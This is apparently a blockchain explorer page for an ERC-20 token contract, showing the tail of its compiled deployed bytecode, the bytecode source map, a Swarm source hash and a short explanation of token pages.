00160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610cbb91815260200190565b60405180910390a3505050505050505050565b60065460009081906b033b2e3c9fd0803ce8000000610ced8282610b67565b821015610d0d575050600654926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008183610d375760405162461bcd60e51b815260040161044a9190610fd7565b5060006108e184866111c0565b6000806000806000806000806000610d618a600854600954610eb0565b9250925092506000610d71610b44565b90506000806000610d848e878787610f05565b919e509c509a509598509396509194505050505091939550919395565b600061096783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506108b0565b600080610df08385611253565b9050838110156109675760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161044a565b6000610e4c610b44565b90506000610e5a8383610f55565b30600090815260026020526040902054909150610e779082610de3565b30600090815260026020526040902055505050565b600654610e999083610da1565b600655600754610ea99082610de3565b6007555050565b6000808080610eca6064610ec48989610f55565b90610b67565b90506000610edd6064610ec48a89610f55565b90506000610ef582610eef8b86610da1565b90610da1565b9992985090965090945050505050565b6000808080610f148886610f55565b90506000610f228887610f55565b90506000610f308888610f55565b90506000610f4282610eef8686610da1565b939b939a50919850919650505050505050565b600082600003610f6757506000610363565b6000610f7383856111a9565b905082610f8085836111c0565b146109675760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161044a565b600060208083528351808285015260005b8181101561100457858101830151858201604001528201610fe8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461058057600080fd5b6000806040838503121561104d57600080fd5b823561105881611025565b946020939093013593505050565b60008060006060848603121561107b57600080fd5b833561108681611025565b9250602084013561109681611025565b929592945050506040919091013590565b6000602082840312156110b957600080fd5b813561096781611025565b600080604083850312156110d757600080fd5b82356110e281611025565b915060208301356110f281611025565b809150509250929050565b60006020828403121561110f57600080fd5b8151801515811461096757600080fd5b60008060006060848603121561113457600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052601160045260246000fd5b818103818111156103635761036361114d565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561119e57600080fd5b815161096781611025565b80820281158282048414176103635761036361114d565b6000826111dd57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112325784516001600160a01b03168352938301939183019160010161120d565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103635761036361114d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122077cd89f962670f3a56ce1937d5630bc36797061b7de74afdcfafec44084fb74564736f6c63430008110033

Deployed Bytecode Sourcemap

3939:8512:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5863:83;;;;;;;;;;-1:-1:-1;5933:5:0;;;;;;;;;;;-1:-1:-1;;;5933:5:0;;;;5863:83;;;;5933:5;5863:83;:::i;:::-;;;;;;;;4868:27;;;;;;;;;;-1:-1:-1;4868:27:0;;;;-1:-1:-1;;;;;4868:27:0;;;;;;-1:-1:-1;;;;;749:32:1;;;731:51;;719:2;704:18;4868:27:0;567:221:1;6715:161:0;;;;;;;;;;-1:-1:-1;6715:161:0;;;;;:::i;:::-;;:::i;:::-;;;1414:14:1;;1407:22;1389:41;;1377:2;1362:18;6715:161:0;1249:187:1;6140:95:0;;;;;;;;;;-1:-1:-1;4391:12:0;6140:95;;;1587:25:1;;;1575:2;1560:18;6140:95:0;1441:177:1;6884:313:0;;;;;;;;;;-1:-1:-1;6884:313:0;;;;;:::i;:::-;;:::i;6049:83::-;;;;;;;;;;-1:-1:-1;6049:83:0;;4347:2;2226:36:1;;2214:2;2199:18;6049:83:0;2084:184:1;4836:25:0;;;;;;;;;;-1:-1:-1;4836:25:0;;;;-1:-1:-1;;;;;4836:25:0;;;6243:138;;;;;;;;;;-1:-1:-1;6243:138:0;;;;;:::i;:::-;;:::i;3032:148::-;;;;;;;;;;;;;:::i;:::-;;2818:79;;;;;;;;;;-1:-1:-1;2856:7:0;2883:6;-1:-1:-1;;;;;2883:6:0;2818:79;;6389:167;;;;;;;;;;-1:-1:-1;6389:167:0;;;;;:::i;:::-;;:::i;9408:::-;;;;;;;;;;-1:-1:-1;9408:167:0;;;;;:::i;:::-;;:::i;9225:175::-;;;;;;;;;;;;;:::i;6564:143::-;;;;;;;;;;-1:-1:-1;6564:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6672:18:0;;;6645:7;6672:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6564:143;5561:294;;;:::i;4902:22::-;;;;;;;;;;-1:-1:-1;4902:22:0;;;;-1:-1:-1;;;;;4902:22:0;;;6715:161;6790:4;6807:39;309:10;6830:7;6839:6;6807:8;:39::i;:::-;-1:-1:-1;6864:4:0;6715:161;;;;;:::o;6884:313::-;6982:4;6999:36;7009:6;7017:9;7028:6;6999:9;:36::i;:::-;7046:121;7055:6;309:10;7077:89;7115:6;7077:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7077:19:0;;;;;;:11;:19;;;;;;;;309:10;7077:33;;;;;;;;;;:37;:89::i;:::-;7046:8;:121::i;:::-;-1:-1:-1;7185:4:0;6884:313;;;;;:::o;6243:138::-;-1:-1:-1;;;;;6356:16:0;;6309:7;6356:16;;;:7;:16;;;;;;6336:37;;:19;:37::i;3032:148::-;2945:6;;-1:-1:-1;;;;;2945:6:0;309:10;2945:22;2937:67;;;;-1:-1:-1;;;2937:67:0;;3328:2:1;2937:67:0;;;3310:21:1;;;3347:18;;;3340:30;3406:34;3386:18;;;3379:62;3458:18;;2937:67:0;;;;;;;;;3139:1:::1;3123:6:::0;;3102:40:::1;::::0;-1:-1:-1;;;;;3123:6:0;;::::1;::::0;3102:40:::1;::::0;3139:1;;3102:40:::1;3170:1;3153:19:::0;;-1:-1:-1;;;;;;3153:19:0::1;::::0;;3032:148::o;6389:167::-;6467:4;6484:42;309:10;6508:9;6519:6;6484:9;:42::i;9408:167::-;9493:10;;-1:-1:-1;;;;;9493:10:0;9479;:24;9475:92;;9548:10;;9505:62;;-1:-1:-1;;;9505:62:0;;-1:-1:-1;;;;;3745:15:1;;;9505:62:0;;;3727:34:1;9548:10:0;;;3777:18:1;;;3770:43;3829:18;;;3822:34;;;9520:4:0;;9505:34;;3662:18:1;;9505:62:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;9475:92;9408:167;;:::o;9225:175::-;9280:21;9316:11;;9312:81;;9352:10;;9344:37;;-1:-1:-1;;;;;9352:10:0;;;;9344:37;;;;;9373:7;;9352:10;9344:37;9352:10;9344:37;9373:7;9352:10;9344:37;;;;;;;;;;;;;;;;;;;9312:81;9251:149;9225:175::o;5561:294::-;2945:6;;-1:-1:-1;;;;;2945:6:0;309:10;2945:22;2937:67;;;;-1:-1:-1;;;2937:67:0;;3328:2:1;2937:67:0;;;3310:21:1;;;3347:18;;;3340:30;3406:34;3386:18;;;3379:62;3458:18;;2937:67:0;3126:356:1;2937:67:0;5623:9:::1;::::0;-1:-1:-1;;;;;5623:9:0::1;:25;5656:21;5687:4;5693:24;5687:4:::0;5693:9:::1;:24::i;:::-;5718:1;5720::::0;5722:7:::1;2856::::0;2883:6;-1:-1:-1;;;;;2883:6:0;;2818:79;5722:7:::1;5623:123;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5623:123:0;;;-1:-1:-1;;;;;4508:15:1;;;5623:123:0::1;::::0;::::1;4490:34:1::0;4540:18;;;4533:34;;;;4583:18;;;4576:34;;;;4626:18;;;4619:34;4690:15;;;4669:19;;;4662:44;5730:15:0::1;4722:19:1::0;;;4715:35;4424:19;;5623:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5766:7:0::1;::::0;5757:37:::1;::::0;-1:-1:-1;;;;;;5766:7:0::1;5783:4;-1:-1:-1::0;;5757:8:0::1;:37::i;:::-;5814:7;::::0;5831:9:::1;::::0;5805:42:::1;::::0;-1:-1:-1;;;;;5814:7:0;;::::1;::::0;5831:9:::1;-1:-1:-1::0;;5805:8:0::1;:42::i;:::-;5561:294::o:0;7812:335::-;-1:-1:-1;;;;;7905:19:0;;7897:68;;;;-1:-1:-1;;;7897:68:0;;5274:2:1;7897:68:0;;;5256:21:1;5313:2;5293:18;;;5286:30;5352:34;5332:18;;;5325:62;-1:-1:-1;;;5403:18:1;;;5396:34;5447:19;;7897:68:0;5072:400:1;7897:68:0;-1:-1:-1;;;;;7984:21:0;;7976:68;;;;-1:-1:-1;;;7976:68:0;;5679:2:1;7976:68:0;;;5661:21:1;5718:2;5698:18;;;5691:30;5757:34;5737:18;;;5730:62;-1:-1:-1;;;5808:18:1;;;5801:32;5850:19;;7976:68:0;5477:398:1;7976:68:0;-1:-1:-1;;;;;8055:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8107:32;;1587:25:1;;;8107:32:0;;1560:18:1;8107:32:0;;;;;;;7812:335;;;:::o;8159:548::-;-1:-1:-1;;;;;8272:24:0;;8239:12;8272:24;;;:18;:24;;;;;;8254:4;;8272:24;;;:50;;-1:-1:-1;;;;;;8300:22:0;;;;;;:18;:22;;;;;;;;8272:50;8269:382;;;-1:-1:-1;8349:5:0;8269:382;;;8391:6;;-1:-1:-1;;;8391:6:0;;;;8390:7;:26;;;;-1:-1:-1;8409:7:0;;-1:-1:-1;;;;;8401:15:0;;;8409:7;;8401:15;;8390:26;8387:253;;;8437:20;8460:24;8478:4;8460:9;:24::i;:::-;8437:47;-1:-1:-1;8506:16:0;;8503:94;;8547:30;8564:12;8547:16;:30::i;:::-;8615:9;:7;:9::i;:::-;8418:222;8387:253;8661:38;8676:4;8681:2;8684:6;8691:7;8661:14;:38::i;:::-;8228:479;8159:548;;;:::o;1364:190::-;1450:7;1486:12;1478:6;;;;1470:29;;;;-1:-1:-1;;;1470:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1510:9:0;1522:5;1526:1;1522;:5;:::i;:::-;1510:17;1364:190;-1:-1:-1;;;;;1364:190:0:o;7205:254::-;7272:7;7311;;7300;:18;;7292:73;;;;-1:-1:-1;;;7292:73:0;;6347:2:1;7292:73:0;;;6329:21:1;6386:2;6366:18;;;6359:30;6425:34;6405:18;;;6398:62;-1:-1:-1;;;6476:18:1;;;6469:40;6526:19;;7292:73:0;6145:406:1;7292:73:0;7376:19;7399:10;:8;:10::i;:::-;7376:33;-1:-1:-1;7427:24:0;:7;7376:33;7427:11;:24::i;:::-;7420:31;7205:254;-1:-1:-1;;;7205:254:0:o;8715:502::-;4996:6;:13;;-1:-1:-1;;;;4996:13:0;-1:-1:-1;;;4996:13:0;;;8814:16:::1;::::0;;8828:1:::1;8814:16:::0;;;;;::::1;::::0;;-1:-1:-1;;8814:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;8814:16:0::1;8790:40;;8859:4;8841;8846:1;8841:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8841:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;8885:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;8885:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;8841:7;;8885:16;;;;;:9;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8875:4;8880:1;8875:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8875:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;8944:9:::1;::::0;8912:56:::1;::::0;8929:4:::1;::::0;8944:9:::1;8956:11:::0;8912:8:::1;:56::i;:::-;4458:3;4444:11;4391:12;4454:1;4444:11;:::i;:::-;:17;;;;:::i;:::-;8987:11;:20;8979:29;;;::::0;::::1;;9019:9;::::0;:190:::1;::::0;-1:-1:-1;;;9019:190:0;;-1:-1:-1;;;;;9019:9:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;9094:11;;9019:9:::1;::::0;9136:4;;9163::::1;::::0;9183:15:::1;::::0;9019:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5032:6:0;:14;;-1:-1:-1;;;;5032:14:0;;;-1:-1:-1;;;;8715:502:0:o;9587:263::-;9699:7;9695:40;;9721:14;:12;:14::i;:::-;9746:44;9764:6;9772:9;9783:6;9746:17;:44::i;:::-;9805:7;9801:41;;9827:15;7743;;7733:7;:25;7780:16;;7769:8;:27;7689:115;11191:163;11232:7;11253:15;11270;11289:19;:17;:19::i;:::-;11252:56;;-1:-1:-1;11252:56:0;-1:-1:-1;11326:20:0;11252:56;;11326:11;:20::i;:::-;11319:27;;;;11191:163;:::o;1815:132::-;1873:7;1900:39;1904:1;1907;1900:39;;;;;;;;;;;;;;;;;:3;:39::i;7467:210::-;7513:7;;:12;:29;;;;-1:-1:-1;7529:8:0;;:13;7513:29;7510:41;;;7467:210::o;7510:41::-;7579:7;;;7561:15;:25;7616:8;;;7597:16;:27;-1:-1:-1;7635:11:0;;;;7657:12;7467:210::o;9858:490::-;9957:15;9974:23;9999:12;10013:23;10038:12;10052:13;10069:19;10080:7;10069:10;:19::i;:::-;-1:-1:-1;;;;;10117:15:0;;;;;;:7;:15;;;;;;9956:132;;-1:-1:-1;9956:132:0;;-1:-1:-1;9956:132:0;;-1:-1:-1;9956:132:0;-1:-1:-1;9956:132:0;-1:-1:-1;9956:132:0;-1:-1:-1;10117:28:0;;9956:132;10117:19;:28::i;:::-;-1:-1:-1;;;;;10099:15:0;;;;;;;:7;:15;;;;;;:46;;;;10177:18;;;;;;;:39;;10200:15;10177:22;:39::i;:::-;-1:-1:-1;;;;;10156:18:0;;;;;;:7;:18;;;;;:60;10230:16;10240:5;10230:9;:16::i;:::-;10257:23;10269:4;10275;10257:11;:23::i;:::-;10313:9;-1:-1:-1;;;;;10296:44:0;10305:6;-1:-1:-1;;;;;10296:44:0;;10324:15;10296:44;;;;1587:25:1;;1575:2;1560:18;;1441:177;10296:44:0;;;;;;;;9945:403;;;;;;9858:490;;;:::o;11362:255::-;11459:7;;11412;;;;4391:12;11526:20;11459:7;4391:12;11526:11;:20::i;:::-;11516:7;:30;11513:60;;;-1:-1:-1;;11556:7:0;;;4391:12;;-1:-1:-1;11362:255:0;-1:-1:-1;11362:255:0:o;11513:60::-;11592:7;;11601;;-1:-1:-1;11362:255:0;-1:-1:-1;11362:255:0:o;1955:189::-;2041:7;2076:12;2069:5;2061:28;;;;-1:-1:-1;;;2061:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2100:9:0;2112:5;2116:1;2112;:5;:::i;10356:468::-;10415:7;10424;10433;10442;10451;10460;10481:23;10506:12;10520:13;10537:39;10549:7;10558;;10567:8;;10537:11;:39::i;:::-;10480:96;;;;;;10587:19;10610:10;:8;:10::i;:::-;10587:33;;10632:15;10649:23;10674:12;10690:46;10702:7;10711:4;10717:5;10724:11;10690;:46::i;:::-;10631:105;;-1:-1:-1;10631:105:0;-1:-1:-1;10631:105:0;-1:-1:-1;10787:15:0;;-1:-1:-1;10804:4:0;;-1:-1:-1;10810:5:0;;-1:-1:-1;;;;;10356:468:0;;;;;;;:::o;1220:136::-;1278:7;1305:43;1309:1;1312;1305:43;;;;;;;;;;;;;;;;;:3;:43::i;1033:179::-;1091:7;;1123:5;1127:1;1123;:5;:::i;:::-;1111:17;;1152:1;1147;:6;;1139:46;;;;-1:-1:-1;;;1139:46:0;;8788:2:1;1139:46:0;;;8770:21:1;8827:2;8807:18;;;8800:30;8866:29;8846:18;;;8839:57;8913:18;;1139:46:0;8586:351:1;12042:214:0;12095:19;12118:10;:8;:10::i;:::-;12095:33;-1:-1:-1;12139:13:0;12155:22;:5;12095:33;12155:9;:22::i;:::-;12231:4;12215:22;;;;:7;:22;;;;;;12139:38;;-1:-1:-1;12215:33:0;;12139:38;12215:26;:33::i;:::-;12206:4;12190:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;12042:214:0:o;12264:147::-;12342:7;;:17;;12354:4;12342:11;:17::i;:::-;12332:7;:27;12383:10;;:20;;12398:4;12383:14;:20::i;:::-;12370:10;:33;-1:-1:-1;;12264:147:0:o;10832:351::-;10925:7;;;;10978:28;11002:3;10978:19;:7;10990:6;10978:11;:19::i;:::-;:23;;:28::i;:::-;10963:43;-1:-1:-1;11017:13:0;11033:29;11058:3;11033:20;:7;11045;11033:11;:20::i;:29::-;11017:45;-1:-1:-1;11073:23:0;11099:28;11017:45;11099:17;:7;11111:4;11099:11;:17::i;:::-;:21;;:28::i;:::-;11073:54;11163:4;;-1:-1:-1;11169:5:0;;-1:-1:-1;10832:351:0;;-1:-1:-1;;;;;10832:351:0:o;11625:409::-;11735:7;;;;11791:24;:7;11803:11;11791;:24::i;:::-;11773:42;-1:-1:-1;11826:12:0;11841:21;:4;11850:11;11841:8;:21::i;:::-;11826:36;-1:-1:-1;11873:13:0;11889:22;:5;11899:11;11889:9;:22::i;:::-;11873:38;-1:-1:-1;11922:23:0;11948:28;11873:38;11948:17;:7;11960:4;11948:11;:17::i;:28::-;11995:7;;;;-1:-1:-1;12021:4:0;;-1:-1:-1;11625:409:0;;-1:-1:-1;;;;;;;11625:409:0:o;1562:245::-;1620:7;1643:1;1648;1643:6;1640:46;;-1:-1:-1;1673:1:0;1666:8;;1640:46;1696:9;1708:5;1712:1;1708;:5;:::i;:::-;1696:17;-1:-1:-1;1741:1:0;1732:5;1736:1;1696:17;1732:5;:::i;:::-;:10;1724:56;;;;-1:-1:-1;;;1724:56:0;;9144:2:1;1724:56:0;;;9126:21:1;9183:2;9163:18;;;9156:30;9222:34;9202:18;;;9195:62;-1:-1:-1;;;9273:18:1;;;9266:31;9314:19;;1724:56:0;8942:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;793:131::-;-1:-1:-1;;;;;868:31:1;;858:42;;848:70;;914:1;911;904:12;929:315;997:6;1005;1058:2;1046:9;1037:7;1033:23;1029:32;1026:52;;;1074:1;1071;1064:12;1026:52;1113:9;1100:23;1132:31;1157:5;1132:31;:::i;:::-;1182:5;1234:2;1219:18;;;;1206:32;;-1:-1:-1;;;929:315:1:o;1623:456::-;1700:6;1708;1716;1769:2;1757:9;1748:7;1744:23;1740:32;1737:52;;;1785:1;1782;1775:12;1737:52;1824:9;1811:23;1843:31;1868:5;1843:31;:::i;:::-;1893:5;-1:-1:-1;1950:2:1;1935:18;;1922:32;1963:33;1922:32;1963:33;:::i;:::-;1623:456;;2015:7;;-1:-1:-1;;;2069:2:1;2054:18;;;;2041:32;;1623:456::o;2481:247::-;2540:6;2593:2;2581:9;2572:7;2568:23;2564:32;2561:52;;;2609:1;2606;2599:12;2561:52;2648:9;2635:23;2667:31;2692:5;2667:31;:::i;2733:388::-;2801:6;2809;2862:2;2850:9;2841:7;2837:23;2833:32;2830:52;;;2878:1;2875;2868:12;2830:52;2917:9;2904:23;2936:31;2961:5;2936:31;:::i;:::-;2986:5;-1:-1:-1;3043:2:1;3028:18;;3015:32;3056:33;3015:32;3056:33;:::i;:::-;3108:7;3098:17;;;2733:388;;;;;:::o;3867:277::-;3934:6;3987:2;3975:9;3966:7;3962:23;3958:32;3955:52;;;4003:1;4000;3993:12;3955:52;4035:9;4029:16;4088:5;4081:13;4074:21;4067:5;4064:32;4054:60;;4110:1;4107;4100:12;4761:306;4849:6;4857;4865;4918:2;4906:9;4897:7;4893:23;4889:32;4886:52;;;4934:1;4931;4924:12;4886:52;4963:9;4957:16;4947:26;;5013:2;5002:9;4998:18;4992:25;4982:35;;5057:2;5046:9;5042:18;5036:25;5026:35;;4761:306;;;;;:::o;5880:127::-;5941:10;5936:3;5932:20;5929:1;5922:31;5972:4;5969:1;5962:15;5996:4;5993:1;5986:15;6012:128;6079:9;;;6100:11;;;6097:37;;;6114:18;;:::i;6688:127::-;6749:10;6744:3;6740:20;6737:1;6730:31;6780:4;6777:1;6770:15;6804:4;6801:1;6794:15;6820:251;6890:6;6943:2;6931:9;6922:7;6918:23;6914:32;6911:52;;;6959:1;6956;6949:12;6911:52;6991:9;6985:16;7010:31;7035:5;7010:31;:::i;7076:168::-;7149:9;;;7180;;7197:15;;;7191:22;;7177:37;7167:71;;7218:18;;:::i;7249:217::-;7289:1;7315;7305:132;;7359:10;7354:3;7350:20;7347:1;7340:31;7394:4;7391:1;7384:15;7422:4;7419:1;7412:15;7305:132;-1:-1:-1;7451:9:1;;7249:217::o;7471:980::-;7733:4;7781:3;7770:9;7766:19;7812:6;7801:9;7794:25;7838:2;7876:6;7871:2;7860:9;7856:18;7849:34;7919:3;7914:2;7903:9;7899:18;7892:31;7943:6;7978;7972:13;8009:6;8001;7994:22;8047:3;8036:9;8032:19;8025:26;;8086:2;8078:6;8074:15;8060:29;;8107:1;8117:195;8131:6;8128:1;8125:13;8117:195;;;8196:13;;-1:-1:-1;;;;;8192:39:1;8180:52;;8287:15;;;;8252:12;;;;8228:1;8146:9;8117:195;;;-1:-1:-1;;;;;;;8368:32:1;;;;8363:2;8348:18;;8341:60;-1:-1:-1;;;8432:3:1;8417:19;8410:35;8329:3;7471:980;-1:-1:-1;;;7471:980:1:o;8456:125::-;8521:9;;;8542:10;;;8539:36;;;8555:18;;:::i

Swarm Source

ipfs://77cd89f962670f3a56ce1937d5630bc36797061b7de74afdcfafec44084fb745
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.